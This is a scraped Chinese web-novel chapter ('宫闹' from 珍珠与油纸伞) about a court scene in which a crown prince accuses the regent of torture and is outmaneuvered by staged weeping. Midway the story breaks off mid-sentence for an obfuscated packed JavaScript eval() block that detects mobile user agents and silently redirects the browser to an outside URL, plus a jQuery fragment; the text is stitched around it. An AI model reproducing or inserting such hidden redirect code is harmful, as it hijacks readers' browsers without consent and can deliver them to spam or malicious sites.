文趣网 > 其他小说 > 珍珠与油纸伞 > 2. 宫闹
    【宿主,该走了。】

    鸢揉了揉眼睛,她并不是被‘摄政王和王妃’的爱情故事所感动。

    毕竟她只听到几段对话,也只看到被逼疯的摄政王和胆大受虐狂婢女,可能还牵扯到什么案件。

    这些都不是关键,而是她原以为地牢太暗所以看不清脸。

    直到结束,萧凌川从她身边经过时,她才反应过来,是人脸被打了马赛克。

    鸢有些生气:“你为什么打马赛克!”

    【宿主,为了确保任务顺利,你无权开启权限。】

    “你把脸蒙起来,我怎么做任务,万一我要穿的是那个昏迷三年的王妃……”

    说到这,她整个人几乎楞了一瞬:“等等,我不会真要穿那个……”

    【保密。】系统打断她的话:【宿主,你的任务很简单,活着就行。】

    “你以为活着是件很容易的事吗!”

    鸢打算悄悄使用异能却被系统发现。

    【检测到宿主作弊行为,昏睡程序已启动。】

    ……

    翌日,天光未亮透,铅灰色的云层在殿脊上压得极低,殿内倒是灯火通明。

    百官齐齐排好,伏身行礼。

    “众爱卿平身。”

    “有本启奏!无事退朝!”

    大臣们面面相觑。

    并非无事,而是无证不敢乱奏。

    萧凌川推陈出新后,确实暂时太平。

    虽御前状告特有其效,无良臣含冤而死。

    但若是胡编乱邹,待他查清后,遭罪的就是状告之人。

    “既无事,那便……”

    “等等!”

    江砚话未说完,便被打断。

    众人闻声后,齐齐寻声回头,见是太子,众人一惊。

    江策身着织金玄色锦袍,玉冠束发,眼底敛着上位者的漠然,好似在说——“孤是君,而他萧凌川只是个臣,你们巴结错了人”。

    身上散发出来的气质,的确是与此时随意靠在殿柱旁的萧凌川不同。

    不得不说,萧凌川安静的时候,倒是没那么吓人。

    “百年难见皇兄进殿一次,如今这般着急,定是受了委屈,朕这个做皇帝的定会念及兄弟情分,为你主持公道。”

    江砚其实并不喜欢这个爱与自己攀比的皇兄。

    先皇当年与陈贵妃恩爱有佳谁人不知,可为堵住某些官臣的嘴,迫不得已才立李氏为皇后,生了江策。

    待稳固后,才与陈贵妃生下了江砚。

    而后陈贵妃难产而亡,江策还拿这件事嘲笑他有娘生没娘养。

    李氏家里也是厉害的,为让皇上无心纳妾,整日在早朝上给皇上出难题,最终目的达成。

    这些江砚都看在眼里,包括陈贵妃难产之事,他也知晓定是李皇后搞得鬼。

    先皇后和皇上的事迹在百姓间都传遍了,是为一段佳话。

    但在他江砚眼里,就是一段笑话。

    可那时他年龄尚小,什么都做不了。

    再后来,江策见父皇整日陪着江砚心生嫉妒,和李氏打着配合把先皇绑在身边,还跑到江砚面前炫耀。

    当年年幼的他只觉得委屈,整日向萧凌川哭诉这些事。

    那时他俩就偷偷拜了把子,做义兄义弟。

    虽然宫变时,李氏也遭遇不测,但家族势力还在。

    待萧凌川解决宫变一事后,江砚配合着萧凌川把李氏的罪证翻了个底朝天,然后发配边疆挖煤去了。

    然,此时他虽是皇帝,但正值束发之年 ,正是脸上藏不住事的年纪。

    起初闻声还不知是谁,待人走进殿后看清是江策。

    原本咽在肚里的心瞬间提到嗓子眼,满脸写着疑惑和嫌弃。

    “孤要掺摄政王滥用私刑,伤害百姓,暴虐成性!”

    话落,殿内瞬间一片哗然。

    虽说萧凌川严肃时可怕,但这个只是民间传言。

    只有不明真相的人才会信。

    如今殿内大臣有旧有新。

    老臣们自是知道萧凌川的为人,不会信。

    而新臣虽说听过当年宫变之事,但见是太子亲临,便就半信半疑。

    萧凌川只是轻眉一挑,对于江策的挑衅充耳不闻,站在原地随意把玩着扳指。

    江砚握拳捂嘴小咳了一声,眼睛乱瞟时却瞥见萧凌川无所谓的态度,他蹙了蹙眉。

    江砚回过神装模作样,道:“哦?说来听听。”

    江策倒是仗着身份趾高气昂,“昨日孤府邸的婢女被抓入掌刑司,竟无人告知,还是在孤一番找寻后,才得知是被摄政王抓去!”

    他察觉到自己的语气过硬,又将声音放软些,听起来更像是自己被萧凌川欺负了去。

    “孤带人寻到时,她身上血肉淋淋,狼狈不堪!不过是草草几页纸,如何定罪!”

    江策描绘的有声有色,表情浮夸。

    他缓缓抬手,颤抖地指向站在柱旁的萧凌川继续,道:“孤怕若有一日他怀疑到孤头上,怕是也会凭草草几页纸将孤谋害!”

    说罢,还不忘用另一只手猛锤自己胸口几下。

    忽的,他突然跪下,“孤恳请陛下定要为孤做主啊!”

    话落,几滴泪硬是从眼角挤出。

    殿内瞬间寂静。

    江砚与萧凌川相视一笑,像是有了对策。

    两人都心知肚明他是在卖拙,毕竟当年能整出那样的腥风血雨,如今怎可能这样蠢!

    不过是仗着现下没多少老臣罢了。

    演戏?他江策怕是对付错了人。

    私下教导江砚时,江砚倒是为了偷懒演过不少苦情戏。

    萧凌川早就掌握了精髓。

    他清了清嗓,一改往日严肃,酝酿好情绪从柱旁走到阶下。

    萧凌川“噗通——”一声跪下。

    他跪的清脆,声音在阔大的殿内回荡。

    随后,他拱手做礼,颤抖的声音从他的喉咙里发出:“陛下!臣!冤枉!”

    声音一出,殿内便又变得热闹。

    这声音叫别人听去,就像是哭泣。

    大臣们看不到萧凌川脸上的表情。

    起初看他跪下,都以为萧凌川是在演戏。

    可声音一出,大臣们心里又没底了。

    一向杀伐果决,处事果断的摄政王一改往日威严,居然因太子几句话……哭了?

    这柔情一面,他们当真是没见过。

    萧凌川倒是感谢江策为自己搭建好的戏台。

    “臣只是按规矩审案,也是按规矩办事!掌刑司就是那样的地方!三百两黄金丢失一案,有证据确认指向那婢女!并不是草草几页纸!”

    萧凌川也学江策,颤巍抬手,指回去。

    “一个罪犯竟使得太子这版庇护!还要给臣安一个谋权篡位的罪名,臣属实心寒!”

    他也猛锤自己胸口几下,听着声音倒比江策更有力气。

    “可您只是太子,臣若想谋权篡位,何故对您出手?”

    江砚承认,在萧凌川说这句话之前他憋笑憋得很轻松。

    可这句话突然冒出来,江砚确实有些措手不及。

    他看向萧凌川那张演得入神的脸实在忍不住,抬手扶额,龙袍衣袖恰好挡在了他的面前。

    江砚忍的浑身发抖,嘴唇紧紧被牙齿包在嘴里,努力让自己不笑出声。

    但这一幕在大臣看来又变了。

    皇上与摄政王感情深厚。

    平日里虽少见皇上与太子相处,可毕竟是亲兄弟。

    两人又描绘地有声有色,这不是叫皇上为难吗。

    所以……皇上这是难以抉择……急哭了?

    萧凌川的声音再次传来,将大臣们的思绪拉回。

    “若臣真有别心,这么多年待在陛下身边!太子觉得,臣为何不出手!”

    “还请陛下明察!”

    话落他也学着江策的模样,故意抽泣几声:“若陛下觉得太子有理,那不如将臣就地杖毙吧!”

    江砚知道该他上了,他抚了一把脸,从龙椅上起身,赶忙下阶来抚萧凌川:“爱卿这是作甚,快快请起。”

    谁知拉到一半,连自己都快要被萧凌川拽了下去,他慌忙稳住身形。

    “臣,不敢!”

    江砚转头看向江策,淡淡道:“不过是一介婢女,莫要伤了和气,更何况那草草几页纸上写的有证据,若是你那婢女清白,爱卿也不是不明事理的人,待查清后自然就放了。”

    “且那婢女牵扯的是三百两黄金一案,若是没找到,大晟国在外颜面何存?”

    他边说,边悄

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738565|209064||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    悄扯着被萧凌川压在膝下的衣底:“我国虽大,可也不是那些贼寇不讲理之辈,若此事传出,外界若说我国以大欺小,不讲诚信,我国日后与别国关系该当如何?”

    “再者,你昨日去赎人时,不也无人阻拦,何况你身为朕的皇兄又身为太子,为一介罪犯竟没个正形。”

    “萧爱卿从前审案时也没见你如今这副模样,那罪犯是何等身份,竟叫你这般莽撞!”

    江策原以为萧凌川会维护那威严一面,这样他就能顺理成章,以为民伸冤为由以正名声,同时又做实萧凌川暴虐成性的传言。

    谁知萧凌川有这副面孔。

    他抽泣倒成了自己的不是。

    江砚见眼下形势对自己不利,话锋一转:“孤明白了,是孤莽撞了,孤会想办法把三百两黄金补上。”

    “既然太子有心,不如把国库也补上,毕竟是从国库播出的银两,朕必定命人将功劳记载在册,此事便也就此作罢。”

    江策咬了咬牙:“是!谢……陛下!”

    事后,大臣们才反应过来,这摄政王和皇上是在打拍子。

    经此一事,新臣整天揪着老臣请教,老臣间也互相赐教,生怕做错事。

    毕竟不是每个人府里都能拨出那三百两黄金。

    养心殿内,江砚笑得大声。

    “哈哈哈!你不知道他今天吃瘪的样子,我看的有多爽,还是你厉害啊萧兄!”

    “阿砚,教你的最后一课学会了吗。”

    萧凌川抿了一口茶,淡淡说道。

    江砚听得一激灵,抽了抽鼻,两手搭在萧凌川肩膀上一副正义凛然的样子:“萧兄!你别想不开啊!我知你念嫂嫂,但我不能没有你啊!你振作一点行不行!你不是一直对我说,男人就要有个男人样,这话你怎么自己听不进去!”

    萧凌川被摇的有些头晕:“松开!”

    “我不!”

    萧凌川忍无可忍,从中间伸手将江砚的手向两边拍开,并按住他的肩膀。

    “前些天,江南故里那边传话,说王妃已有苏醒迹象,我有预感,这次醒来的定是本王的王妃!”

    “我要准备准备,前去探探,在我离开这段时间,你自己小心,有什么事传信给我。”

    江砚翻了个白眼:“哪来的预感。”

    萧凌川想了想:“大概这就是百姓口中的恩爱夫妻,心心相印吧。”

    江砚听完嘴角抽了抽,随后便起身推搡着萧凌川,道:“走走走,现在就走。”

    萧凌川也不恼,任由他推着:“记得有事传信。”

    “知道了知道了!”

    江砚将门关上后,撇了撇嘴,摇头晃脑地模仿萧凌川的话:“恩爱夫妻,心心相印。”

    又气不过,指向门口:“改日朕也找个皇后!哼!”

    江砚坐回茶桌旁,自顾自倒上一杯。

    话又说回来,萧凌川对沈观雪的感情有多深,这些年他是看在眼里的。

    他深叹一口气:“唉……但愿萧兄心想事成吧……”

    适夜,月色如练,窗外蝉鸣徐徐,树枝随着微风摇曳,好似也在为窗内人收到的消息感到欢喜。

    萧凌川坐在书桌前,一遍遍翻看着从前与江南故里来往的书信。

    三年了,一收到书信,他就欣喜,总觉得是沈观雪回来了。

    可回去一看,又失望回来。

    他早在得知沈观雪中毒后,就在后院打造好了能纳得下两人的棺柩。

    只是没想到会有换魂这件事。

    这次昏迷时间较久,他以为沈观雪的身体扛不住了,派人去接,却意外得知又有了苏醒迹象。

    老天爷耍了他三年,也该让他一回了。

    “咚咚咚——”

    敲门声打断了萧凌川的思绪。

    他随声一应:“进。”

    景进来后行礼,道:“王爷,太子殿下来访。”

    听到这句话,他手里的动作一顿。

    萧凌川这才想起昨日地牢里临走前,姜明月对他说的话。

    但今日在大殿上,江策没说得过他,这么晚来访,定是不怀好意。

    他放下手中的信件,抬头看向景,严肃道:“你将他们带到前院,我随后就到,叫其他人去别处守好,靠近者格杀勿论!”

    “是!”